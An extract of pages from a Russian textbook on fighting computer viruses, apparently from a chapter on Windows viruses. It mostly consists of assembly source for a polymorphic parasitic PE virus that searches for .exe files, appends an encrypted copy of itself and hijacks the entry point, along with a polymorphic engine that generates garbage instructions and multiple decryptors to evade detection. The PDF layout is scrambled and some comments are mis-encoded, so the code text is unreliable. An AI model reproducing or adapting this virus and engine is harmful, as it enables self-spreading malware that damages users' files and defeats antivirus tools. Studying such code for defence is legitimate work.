Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdf
Windows вирусы |
251 |
|
|
add eax,12345678h |
; |
random_seed = dword ptr $-4 |
; |
adc eax,esp |
; |
xor eax,ecx |
; |
xor random_seed,eax |
; |
add eax,[esp-8] |
; |
rcl eax,1 |
; |
|
; Получаем случайное число |
pop ecx edx |
|
ret |
|
;---------------------------------------------- |
|
После того, как мы написали полноценный полиморфный генератор для Windows-вирусов, мы должны применить его к нашему Windows-паразиту. Данная акция безмерно усилит потенциал вируса.
Этот полиморфный генератор не оптимален и существует множество возможностей по его улучшению.
При написании этого генератора мы оставили одну вещь внешней, буфер в котором будет храниться декриптор + шифрованный код.
Теперь рассмотрим схему работы простейшего полиморфного вируса типа parasitic. Следует рассмотреть, как выглядит файл до инфицирования и после:
а) до инфицирования
б) после инфицирования
Рассмотрим листинг полиморфного Windows-паразита:
;----------------------------------------------
.386
.model flat
; Функция необходимая для запуска вируса после компоновки
extrn |
ExitProcess:PROC |
.data |
; Вирус расположен в области |
|
; данных |
252 |
Windows вирусы |
|
|
start: |
|
;---------------------------------------------- |
|
mov |
ebx,[esp] |
xor |
bx,bx |
call |
delta |
delta: |
|
pop |
ebp |
sub |
ebp,offset delta |
mov |
eax,dword ptr [ebp + offset oldip] |
add |
eax,dword ptr [ebp + offset imagebase] |
push |
eax |
pushad |
|
call |
getproc |
lea |
eax,dword ptr[ebp+find_file] |
push |
eax |
lea |
eax,dword ptr[ebp+mask1] |
push |
eax |
lea |
eax,dword ptr[ebp+FindFirstFileA] |
call |
GETAPI |
cmp |
EAX, -1 |
je |
End_it |
mov |
[ebp+Fhandle],eax |
inf1: |
|
mov |
ecx,dword ptr [ebp + find_file + 20h] |
mov |
[ebp + offset filesize], ecx |
add |
ecx, finish - start + 1000h |
mov |
[ebp + offset memory], ecx |
call |
infect |
f_next: |
|
call |
Fnext |
cmp |
eax,0 |
jne |
inf1 |
;Возьмем из стека адрес
;Kernel’a И найдем его начало
;
;Получаем дельта смещение
;Восстанавливаем старую точку
;и виртуальный адрес начала
;программы
;Положим eax в стэк
;Сохраняем все регистры
;
;Заполняем параметры
;и вызываем функцию
;FindFirstFileA
;
;
;Если файлов нет,
;то выходим
;Сохраняем хэндл поиска
;ecx = filesize
;Сохраняем размер файла
;filesize + virus
;+workspace=memory
;0 — Файлы закончились
push |
dword ptr [ebp+Fhandle] |
; |
lea |
eax,dword ptr[ebp+FindClose] |
; Закрытие поиска |
call |
GETAPI |
; |
;---------------------------------------------- |
|
|
End_it: |
|
|
popad |
|
; Восстанавливаем все регистры |
ret |
|
; Отдаем управление носителю |
;---------------------------------------------- |
|
|
infect: |
|
|
lea |
esi,[ebp + find_file + 2ch] |
; esi = имени файла |
OpenFile: |
|
|
push |
0 |
|
push |
00000080h |
|
Windows вирусы |
253 |
|
|
push |
3 |
push |
0 |
push |
00000001h OR 00000002h |
push |
40000000h OR 80000000h |
push |
esi |
lea |
eax,[ebp+CreateFileA] |
call |
GETAPI |
mov |
[ebp + offset fHnd],eax |
cmp |
eax,-1 |
je |
InfectionError |
;---------------------------------------------- |
|
CreateFileMapping: |
|
push |
0 |
push |
dword ptr [ebp+ offset memory] |
push |
0 |
push |
4 |
push |
0 |
push |
dword ptr [ebp + offset fHnd] |
lea |
eax,[ebp + offset CreateFileMappingA] |
call |
GETAPI |
mov |
[ebp + offset mHnd],eax |
or |
eax,eax |
jz |
CloseFile |
MapViewOfFile1: |
|
push |
dword ptr [ebp + offset memory] |
push |
0 |
push |
0 |
push |
2 |
push |
eax |
lea |
eax,[ebp + offset MapViewOfFile] |
call |
GETAPI |
or |
eax,eax |
jz |
CloseMap |
mov |
esi,eax |
mov |
[ebp + offset mapaddress],esi |
DoSomeChecks: |
|
cmp |
word ptr [esi],’ZM’ |
jne |
UnmapView |
cmp |
word ptr [esi + 38h],’nf’ |
je |
UnmapView |
OkGo: |
|
mov |
ebx,dword ptr [esi + 3ch] |
cmp |
ebx,200h |
ja |
UnmapView |
add |
ebx,esi |
cmp |
word ptr [ebx],’EP’ |
jne |
UnmapView |
;Открытие файла
;для чтения/записи
;Сохранение хэндла файла
;выделяем память
;имя файла хэндл = 0
;максимальный размер = memory
;минимальный размер = 0
;доступ чтение/запись
;
; eax = хэндл
;количество памяти для работы
;Режим записи
;хэндл
;Вызываем функцию
;
;Сохраняем базу памяти
;Ýòî EXE ôàéë?
;Уже зараженный файл?
; Ýòî PE ôàéë ?
254 |
|
Windows вирусы |
|
|
|
mov |
[ebp + offset PEheader],ebx |
; сохраняем PE заголовок |
mov |
esi,ebx |
|
mov |
eax,[esi + 28h] |
|
mov |
[ebp + offset oldip],eax |
; Сохраняем старую |
|
|
; точку входа (ip) |
mov |
eax,[esi + 34h] |
|
mov |
[ebp + offset imagebase],eax |
; Сохраняем виртуальный адрес |
|
|
; начала программы |
;---------------------------------------------- |
|
|
LocateBeginOfLastSection: |
|
|
mov |
ebx,[esi + 74h] |
; |
shl |
ebx,3 |
; |
xor |
eax,eax |
|
mov |
ax,word ptr [esi + 6h] |
; Количество объектов |
dec |
eax |
; (нам нужен последний-1 |
mov |
ecx,28h |
; заголовок секции) |
mul |
ecx |
; * размер заголовка |
add |
esi,78h |
; теперь esi указывает на |
add |
esi,ebx |
; начало последнего заголовка |
add |
esi,eax |
; секции |
ChangeLastSectionHeader: |
|
|
or |
dword ptr [esi + 24h],00000020h or 20000000h or 80000000h |
|
NewPhysicalSize: |
|
|
mov |
eax,dword ptr [esi+10h] |
; Старый физический размер |
add |
eax,finish-start |
; |
mov |
dword ptr [esi+10h],eax |
; Сохраняем его |
VirtualSizeCheck: |
|
|
mov |
edi,dword ptr [esi + 8h] |
; Получаем старый |
cmp |
eax, edi |
; виртуальный размер |
jge |
NewVirtualSize |
|
VirtualSizeIsVirtual: |
|
|
add |
edi,finish-start |
|
mov |
eax,edi |
|
NewVirtualSize: |
|
|
mov |
ecx,[ebp + offset PEheader] |
|
mov |
ecx,[ecx + 38h] |
|
div |
ecx |
; и выравниваем |
inc |
eax |
|
mul |
ecx |
|
mov |
[esi + 8h],eax |
; Сохраняем новое значение |
NewAlignedImageSize: |
|
|
mov |
eax,dword ptr [esi + 0ch] |
; получаем виртуальное |
|
|
; смещение |
add |
eax,dword ptr [esi + 8h] |
; + новый виртуальный размер |
mov |
[ebp+ imagesize],eax |
; = новый виртуальный размер |
Windows вирусы |
255 |
|
|
|
|
NewAlignedFileSize: |
|
|
mov |
eax,dword ptr [esi+10h] |
; получаем новый |
|
|
; физический размер |
add |
eax,dword ptr [esi + 14h] |
; добавляем смещение |
|
|
; физического |
mov |
[ebp + offset filesize],eax |
; размера = размер файла |
CalculateNewIp: |
|
|
mov |
eax,dword ptr [esi+10h] |
; новый физический размер |
add |
eax,dword ptr [esi + 0ch] |
; + виртуальное смещение |
sub |
eax,finish-start |
; - размер вируса |
mov |
[ebp + newip],eax |
; новая точка входа |
;---------------------------------------------- |
|
|
lea eax,[ebp+start] |
; !!!!!!!! |
|
mov edx,[ebp+newip] |
; !!!!!!!! |
|
add edx,[ebp+offset imagebase] |
; !!!!!!!! |
|
mov ecx,finish-start |
; !!!!!!!! |
|
call polym |
; !!!!!!!! |
|
;---------------------------------------------- |
|
|
CopyVirusToEndOfFile: |
|
|
mov |
edi,dword ptr [esi+10h] |
; Новый физический размер |
sub |
edi,finish-start |
|
add |
edi,[ebp + offset mapaddress] |
; mapaddress |
add |
edi,[esi + 14h] |
; добавляем смещение |
|
|
; потоковых данных |
mov |
esi,edx |
; копируем вирус |
cld |
|
|
rep |
movsb |
|
UpdatePEHeaderWithChanges: |
|
|
mov |
esi,dword ptr [ebp + offset mapaddress] |
|
mov |
word ptr [esi + 38h],’nf’ |
; Устанавливаем метку |
mov |
esi,dword ptr [ebp + offset PEheader] |
; инфицированности |
mov |
eax,dword ptr [ebp + offset newip] |
|
mov |
[esi + 28h],eax |
; Устанавливаем новую точку |
mov |
eax,[ebp + offset imagesize] |
; входа |
mov |
[esi + 50h],eax |
; Устанавливаем новый |
|
|
; виртуальный размер |
UnmapView:
push dword ptr [ebp + offset mapaddress] lea eax,[ebp + UnmapViewOfFile]
call GETAPI
CloseMap:
;
;Закончиваем изменение файла
;в памяти и кладем его
;обратно
push |
dword ptr [ebp + offset mHnd] |
; |
lea |
eax,[ebp + CloseHandle] |
; Закрываем хэндл |
call |
GETAPI |
; |
push |
0 |
|
push |
0 |
|
push |
dword ptr [ebp + offset filesize] |
; |
256 |
Windows вирусы |
|
|
push |
dword ptr [ebp + offset fHnd] |
lea |
eax,[ebp + offset SetFilePointer] |
call |
GETAPI |
push |
dword ptr [ebp + offset fHnd] |
lea |
eax,[ebp + offset SetEndOfFile] |
call |
GETAPI |
;---------------------------------------------- |
|
CloseFile: |
|
push |
dword ptr [ebp + offset fHnd] |
lea |
eax,[ebp + offset CloseHandle] |
call |
GETAPI |
InfectionError: |
|
ret |
|
;---------------------------------------------- |
|
Fnext: |
|
lea |
eax,[ebp+offset find_file] |
push |
eax |
push |
dword ptr[ebp+Fhandle] |
lea |
eax,[ebp+offset+FindNextFileA] |
call |
GETAPI |
ret |
|
;---------------------------------------------- |
|
Getproc: |
|
next_block: |
|
cmp |
word ptr [ebx],’ZM’ |
je |
found_MZ |
sub |
ebx,1000h |
jmp |
next_block |
found_MZ: |
|
mov |
edx,ebx |
mov |
edi,dword ptr [ebx+3Ch] |
add |
edi,edx |
cmp |
word ptr [edi],’EP’ |
jne |
Exit |
mov |
4 ptr [ebp+KernelAddr],edx |
add |
ebx,[edi+78h] |
mov |
ecx,[ebx+18h] |
mov |
esi,[ebx+20h] |
mov |
edi,[ebx+24h] |
add |
esi,edx |
add |
edi,edx |
cld |
|
; Переходим в конец файла
;
;
;Устанавливаем символ конца
;файла
;
;Закрываем файл
;Выходим из процедуры
;
;
;Процедура поиска следующего
;файла
;
;Начало?
;ÄÀ!
;Ищем дальше
;сохраним указатель
;адрес PE заголовка
;+адрес kernel’a
;проверка на PE
;не равно - выходим
;сохраним базовый адрес
;kernel’a
;Получим адрес таблицы
;экспортов
;Количество указателей
;Указатель на таблицу
;указателей имен
;Указатель на таблицу
;ординалов
;адр. таблицы имен в памяти
;адр. таблицы ординалов
;в памяти
;поиск вперед
Windows вирусы |
257 |
|
|
|
|
Search: |
|
; Ищем функцию GetProcAddress |
lodsd |
|
; берем указатель из |
|
|
; таблицы указателей |
add |
eax,edx |
; получаем адрес памяти |
push |
ecx |
; сохраним кол-во указателей |
push |
edi |
; сохраним указатель на |
|
|
; ординалы |
xchg |
esi,eax |
; в esi указатель на имя |
|
|
; найденной ф-ции |
lea |
edi,[ebp+GetProcAddress] |
; Указываем на имя нужной |
|
|
; нам фунции |
mov |
ecx,GetProcSize |
; Размер строки |
repe |
cmpsb |
; сравниваем |
xchg |
esi,eax |
; восстановим значение esi |
pop |
edi |
; восстановим указатель |
|
|
; на ординалы |
pop |
ecx |
; восстановим кол-во |
|
|
; указателей |
je |
Found |
; нашли! |
inc |
edi |
; нет - пробуем следующую |
|
|
; ô-öèþ |
inc |
edi |
; указатель на следующий |
|
|
; ординал |
loop |
Search |
|
jmp |
Exit |
|
Found: |
|
|
xor |
eax,eax |
|
mov |
ax,word ptr [edi] |
; возьмем ординал |
shl |
eax,2 |
; умножим на размер ординала |
mov |
esi,[ebx+1Ch] |
; указатель на таблицу адресов |
add |
esi,edx |
; получим адрес начала |
|
|
; таблицы адресов |
add |
esi,eax |
; и адрес нужной ф-ции |
lodsd |
|
; прочитаем |
add |
eax,edx |
; добавим адрес kernel’a |
mov |
4 ptr [ebp+GetProcAddr],eax |
; сохраним |
Exit: |
|
|
ret |
|
|
;---------------------------------------------- |
|
|
GETAPI: |
|
|
push |
eax |
push |
dword ptr [ebp+ offset KernelAddr] |
call |
[ebp + offset GetProcAddr] |
jmp |
eax |
ret |
|
;---------------------------------------------- |
|
|
include pgs2.asm |
;---------------------------------------------- |
|
;Кладем в стэк имя функции
;Кладем в стэк адрес kernel’a
;Получаем адрес необходимой
;нам Функции
;Вызываем функцию
;Возврат из функции
;Подключение полиморфного
;генератора
258 |
|
|
|
Windows вирусы |
|
|
|
|
|
mask1 |
|
db |
‘*.exe’,0 |
; Маска для поиска |
KernelAddr |
|
dd |
0 |
|
GetProcAddr |
|
dd |
0 |
|
GetProcAddress |
|
db |
‘GetProcAddress’,0 |
|
GetProcSize |
|
equ |
$-GetProcAddress |
|
FindFirstFileA |
|
db "FindFirstFileA",0 |
|
|
CreateFileA |
|
db "CreateFileA",0 |
|
|
CreateFileMappingA db |
"CreateFileMappingA",0 |
|
||
MapViewOfFile |
|
db |
"MapViewOfFile",0 |
|
UnmapViewOfFile |
db |
"UnmapViewOfFile",0 |
|
|
CloseHandle |
|
db |
"CloseHandle",0 |
|
SetFilePointer |
|
db |
"SetFilePointer",0 |
|
SetEndOfFile |
|
db |
"SetEndOfFile",0 |
|
FindNextFileA |
|
db |
"FindNextFileA",0 |
|
FindClose |
|
db |
"FindClose",0 |
|
oldip |
|
dd |
offset Exit1 |
; Для первого поколения вируса |
|
|
|
|
; необходимо это смещение |
imagebase |
|
dd |
0h |
; |
find_file |
|
db |
313 dup(?) |
; Тут идут данные, которые в |
size2read |
|
dd |
0h |
; тело вируса не входят |
fHnd |
|
dd |
0h |
; |
mHnd |
|
dd |
0h |
; |
memory |
|
dd |
0h |
; |
mapaddress |
|
dd |
0h |
; |
PEheader |
|
dd |
0h |
|
filesize |
|
dd |
0h |
|
imagesize |
|
dd |
0h |
|
newip |
|
dd |
0h |
|
Fhandle |
|
dd |
0h |
|
finish: |
|
|
|
|
buff |
|
db |
3000 dup (0) |
; Наш buff (в нем будет |
|
|
|
|
; храниться декриптор+шифр.код) |
;---------------------------------------------- |
|
|
|
|
.code |
|
|
|
|
Exit1: |
|
|
|
|
push 0 |
|
|
|
; Сюда передается управление |
call ExitProcess |
|
; в первом поколении вируса |
||
;---------------------------------------------- |
|
|
|
|
end |
start |
|
|
|
;---------------------------------------------- |
|
|
|
|
В листинге нашего вируса восклицательными знаками отмечен непосредственный вызов полиморфного генератора. ля усложнения анализа нашего дескриптора использовались различные «мусорные» команды, в том числе и вырожденный jmp.
А теперь мы рассмотрим максимально усложненный вариант данного полиморфного мотора. Это будет сделано с целью наглядного использования одних из последних техник в полиморфизме.
Windows вирусы |
259 |
|
|
Условимся, что reg1, reg2 — это 32-битные регистры. Начнем построение «скелета» дескриптора:
;---------------------------------------------- |
|
|
|
call |
$+5 |
|
pop |
reg1 |
|
add |
reg1,size_of_decryptor-4 |
|
mov |
reg2,reg1 |
|
add |
reg2,size_of_encrypted_code |
decrypt: |
add |
reg1,4 |
xor/sub/add |
[reg1],decrypt_key |
|
|
cmp |
reg1,reg2 |
|
jb |
decrypt |
;---------------------------------------------- |
|
|
Как вы легко можете пронаблюдать из кода, данный полиморфный мотор будет использовать 32-битное шифрование случайным алгоритмом (add/sub/xor).
После того, как мы определились с скелетом дескриптора. Мы должны решить, что еще нам будет необходимо при построении полиморфного генератора.
Нам понадобится: генератор случайных чисел; генератор «мусора».
Начнем с генератора случайных чисел. Наш генератор будет ориентирован на процессоры не ниже Pentium, так как будет использоваться инструкция rdtsc. Данная инструкция возвращает значение счетчика тиков таймера. Для удобства его использования выделим генератор случайных чисел в отдельный модуль.
Что должен уметь генератор «мусора»? Он должен генерировать исполняемый код, оставляя не изменными значащие регистры (используемые в декрипторе). Исполняемый код должен быть как можно более разнообразным. В идеале получившийся декриптор с «мусором» должен походить на обыкновенную программу с условными переходами и множеством функций.
Как мы можем пронаблюдать, данный генератор «мусора» производит до- вольно-таки разнообразный исполнимый код. Недоработаны переходы условные и безусловные, а также подпрограммы. Но это не суть важно.
Важно сейчас то, что мы уже можем построить полиморфный генератор по выбранному нами «скелету». Генератор случайных чисел будет использоваться для выбора регистров, генерации длин «мусора» и самих «мусорных» инструкций.
Рассмотрим полиморфный генератор на примере:
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; |
|
[POLYMORPHIC GENERATOR OF SHIT V. 0.4] |
; |
|||
; |
|
|
|
|
|
; |
; |
######### |
######## |
######## |
; |
||
; |
########### |
########## |
########## |
; |
||
; |
##### ###### |
###### |
## |
###### ## |
; |
|
; |
##### |
##### |
##### |
|
##### |
; |
; |
##### |
##### |
##### |
|
######## |
; |
; |
########### |
##### ###### |
######## |
; |
||
; |
######### |
##### ###### |
##### |
; |
||
; |
##### |
|
##### |
### |
##### |
; |
; |
##### |
|
########### |
########### |
; |
|
260 |
|
|
|
Windows вирусы |
|
|
|
|
|
; |
##### |
##### ### ######### |
; |
|
; |
|
|
|
; |
; |
|
FOR MS WINDOWS |
; |
|
; |
|
|
|
; |
; |
|
BY SL0N |
; |
|
;——————————————————————————————————————------------------------------—; |
||||
; |
|
MANUAL: |
; |
|
; BUFFER FOR ENCRYPTED CODE + DECRYPTORS |
-> EDI |
; |
||
; START OF CODE |
|
-> EAX |
|
; |
; SIZE OF CODE |
|
-> ECX |
|
; |
; |
|
|
|
; |
; CALL MORPH |
|
|
|
; |
; |
|
|
|
; |
; SIZE OF ENCRYPTED CODE + DECRYPTORS |
-> ECX |
; |
||
; BUFFER WITH ENCRYPTED CODE + DECRYPTORS -> EDI |
; |
|||
;——————————————————————————————————————------------------------------—; |
||||
; (+) DO NOT USE WIN API |
|
|
; |
|
; (+) EASY TO USE |
|
|
|
; |
; (+) GENERATE GARBAGE INSTRUCTIONS (1,2,3,4,5,6 BYTES) |
; |
|||
; (+) USE DELTA OFFSET |
|
|
; |
|
; (+) USE X87 INSTRUCTIONS |
|
|
; |
|
; (+) IT CREATES VARIABLE DECRYPTOR SIZE |
|
; |
||
; (+) RANDOMLY CHANGE REGISTERS IN INSTRUCTIONS |
; |
|||
; (+) RANDOM 32 BIT ENCRYPTION ALGORITHM (ADD/SUB/XOR) |
; |
|||
; (+) RANDOM NUMBER OF DECRYPTORS |
|
|
; |
|
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; |
||||
morph: |
|
|
|
|
push |
esi ebp |
|
; Сохраняем регистры |
|
call |
delta0 |
|
; |
|
delta0: |
|
|
; Вычисляем |
|
pop |
ebp |
|
; дельта смещение |
|
sub |
ebp,offset delta0 |
|
; |
|
push |
eax |
|
; Кладем в стэк eax |
|
decr_number: |
|
|
|
|
mov |
eax,40 |
|
; Генерируем случайное число |
|
call |
brandom32 |
|
; в диапазоне 0..30 |
|
test |
eax,eax |
|
; Если число равно 0, то оно |
|
jz |
decr_number |
|
; нам не подходит |
|
mov |
ebx,eax |
|
; Помещаем число в ebx |
|
pop |
eax |
|
; Восстанавливаем eax |
|
multi_decr: |
|
|
|
|
mov |
edx,edi |
|
|
|
call |
polym |
|
; |
|
mov |
eax,edx |
|
; |
|
add |
edi,ecx |
|
; Генерируем столько |
|
dec |
ebx |
|
; декрипторов, сколько |
|
test |
ebx,ebx |
|
; записано в регистре ebx |
|
jnz |
multi_decr |
|
; |
|
sub |
edi,ecx |
|
; результатами |
|
pop |
ebp esi |
|
; Восстанавливаем регистры |
|
